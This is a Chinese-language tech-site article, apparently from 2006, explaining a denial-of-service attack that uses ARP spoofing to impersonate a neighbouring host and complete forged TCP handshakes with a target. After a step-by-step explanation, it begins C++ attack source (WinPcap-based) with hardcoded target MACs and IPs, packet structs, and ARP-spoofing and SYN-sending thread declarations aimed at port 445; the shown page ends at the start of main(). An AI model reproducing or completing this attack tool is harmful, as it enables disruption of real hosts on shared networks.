文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术安全技术:基于ARP欺骗的TCP伪连接DOS
精品推荐
特别推荐
·新手轻轻松松做网管必须掌握的步骤
·ADSL路由方式的NAT(端口映射)
·保护系统 彻底清除Infostealer.Gampass病毒
·网管高招另类方法解决离奇断网故障二例
·Windows2000 下管理员账户真的不安全
·Windows下权限设置详解
·网络排障实战:路由器和交换机为何不通?
·安装网卡驱动常见故障及解决方法
·多种方法让网络共享资源自动映射
·Delphi中的流技术- 详细篇
·秘籍宝典:Ping命令的使用
·教你伪装MAC地址
·掌握超五类 双绞线的 原理与制作方法
·让你的ADSL不再自动掉线
·快速增强路由器安全的十个小技巧
·高手教你实测无线路由器的安全功能
·无线上网搭配方案
·UNIX 常用的指令/终结完整编
·解决南北网络问题 千渡南北互通
·ADSL上网的常见问题及分析集锦
热点TOP10
·窥视计算机病毒的磁盘存储结构
·光辉回忆录:黑客创下的“重大战绩”
·ADSL Modem防攻击“修炼秘技”
·真的无罪吗?窥视Serv-U密码破解
·批量查询域名工具Domain Inspect 1.5 汉化注册版
·汉化软件教程
·世界上最好的磁盘碎片整理工具原版+汉化+注册机
·驯服你的Windows Firewall
·windows溢出随笔
·居室有线网络布线及其注意事项
·局域网的限制技术和反限制技巧
·宽带环境下的网络安全与防护方法
·知己知彼 了解VB编写病毒的基本方法
·藏在XP中的一个秘密武器,可以完整清除垃圾文件
·让你的Win XP死机时也变得无比聪明
·用卡巴的注意::不可不看的卡巴优化设置及常见问题解答
·使用Maxthon,在标签里怎么打开网页都行
·让ADSL发挥极限:从六方面下手还我宽带速度
·创建系统中别人永远删不掉的管理员用户
·实例详解 遭遇IFEO(映像劫持)后的事情

安全技术:基于ARP欺骗的TCP伪连接DOS

日期:2006年3月21日 作者: 查看:[大字体 中字体 小字体]


 从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后,由于系统内并没有发起真正的TCP连接,因此系统会发回一个RST包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。

  要解决这个问题,办法有不少,而我这里要用的方法就是ARP欺骗。首先,我们要对目标主机进行ARP欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来,即使目标主机返回一个SYN+ACK包,这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP),这样,我们的系统也不会向目标主机发送RST包了。

  打个比方,假设我们是主机A,现在我想要攻击主机B。首先,我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B),这样,B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后,我们再以C的IP为源IP构造SYN数据包,向B发起TCP伪连接。当B收到这个SYN包之后,它会构造一个SYN+ACK包发往C。但是,由于此时在B的ARP缓存中记录着:C的IP对应A的MAC地址,因此,这个SYN+ACK包实际上被发送到了A。虽然,这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP,所以A的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后,我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样,TCP初始化连接的三次握手都完成了,我们的伪连接也成功建立了!

  伪连接建立之后,我们还可以继续向目标主机发送数据,来保证TCP连接的存活。

  这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的ARP缓存不被更改,我们需要持续不断的对其进行ARP欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的ARP缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行ARP欺骗,以增加攻击成功的几率。

  好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。


// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.

//

#include "stdafx.h"

#include "winsock2.h"

#include "Packet32.h"

#include "stdio.h"

 

#pragma comment(lib, "packet")

#pragma comment(lib, "ws2_32")

 

//下面几个宏是测试用的主机的IP和MAC

#define SIMULATE_MAC "0011111d735a" //伪装主机的MAC地址

#define TARGET_MAC "001111c6f7fe" //目的主机的MAC地址

#define LOCAL_MAC "00e06e41508f" //本机MAC地址

#define TARGET_IP "211.83.97.24" //目的主机的IP

#define SIMULATE_IP "211.83.97.16" //伪装主机的IP

 

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

 

#pragma pack(push, 1)

 

struct ET_HEADER //以太网头部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

};

 

struct ARP_HEADER //ARP头部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

};

 

struct IP_HEADER //IP头部

{

char m_ver_hlen; //4位版本号,4位ip头部长

char m_tos;

USHORT m_tlen;

USHORT m_ident;

USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量

char m_ttl;

char m_protocol;

USHORT m_cksum;

ULONG m_sIP;

ULONG m_dIP;

};

 

struct TCP_HEADER //TCP头部

{

USHORT m_sport;

USHORT m_dport;

ULONG m_seq;

ULONG m_ack;

char m_hlen_res4; //4位tcp头部长,6位保留的前4位

char m_res2_flag; //6位保留的后2位,6位标志

USHORT m_win;

USHORT m_cksum;

USHORT m_urp;

};

 

struct PSD_HEADER //伪头部,计算校验和用

{

ULONG m_saddr; //源地址

ULONG m_daddr; //目的地址

char m_mbz;

char m_ptcl; //协议类型

USHORT m_tcpl; //TCP长度

};

 

struct TCP_OPTION //TCP选项,发起伪连接时要用来与对方协商

{

USHORT unKnown;

USHORT maxSegSize; //MSS,以太网一般为1460

char no1;

char no2;

USHORT SACK;

};

 

struct CHEAT_ARP_INFO //ARP欺骗线程的参数

{

char simulateIP[20];

char targetIP[20];

char targetMAC[13];

};

 

#pragma pack(pop)

 

USHORT CheckSum(USHORT *buffer, int size); //计算校验和的函数

void StrToMac(char *str,char *mac); //字符串转换为MAC地址

void ListenACK(); //监听函数,监听对方的回包

void AssayAndSendData(LPPACKET lpPacket); //分析数据帧并发送回包

DWORD WINAPI ArpCheat(void *pInfo); //ARP欺骗线程

DWORD WINAPI SendSyn(void *no); //发送SYN包的线程

void Info();

 

LPADAPTER lpAdapter=NULL; //适配器指针

USHORT ipID=1638; //IP标识

USHORT sourcePort=1056; //起始源端口

USHORT targetPort=445; //目的端口

 

int main(int argc, char* argv[])

{

Info();

 

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)

{

printf("WSAStartup error!\n");

return -1;

}

[1] [2] [3] [4] [5] 下一页 




上一篇:通过网易POPO与MSN好友隐身聊天

下一篇:Flash Lite 2让移动设备轻松浏览Flash

安全技术:基于ARP欺骗的TCP伪连接DOS 相关文章:
·QQ聊天记录偷窥和QQ视频欺骗
·可以胜任任何一家网吧技术主管的绝招
·解析远程控制带来的安全危险
·中小企业整体网络安全解决方案解析
·黑客技术之知道对方IP入侵别人的电脑
·做QQ高手,你应该了解的17种QQ技术
·教你如何保证Microsoft Access的安全性
·修改系统设置 打造安全的个人电脑
·欺骗你眼睛和大脑的神奇图片
·以MDaemon为例解释邮件服务器的安全设置
安全技术:基于ARP欺骗的TCP伪连接DOS 相关软件:
·如何加固Windows XP 主机安全
·2007网络安全黄皮书V1.0.0
·电脑安装与维修实用技术1
·UML面向对象建模技术 csf 视频教程
·360安全卫士v3.2
·专业音响技术
·精通.Net核心技术原理与构架
·台球技术
·防骗 安全教育片
·台球技术 桌球

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot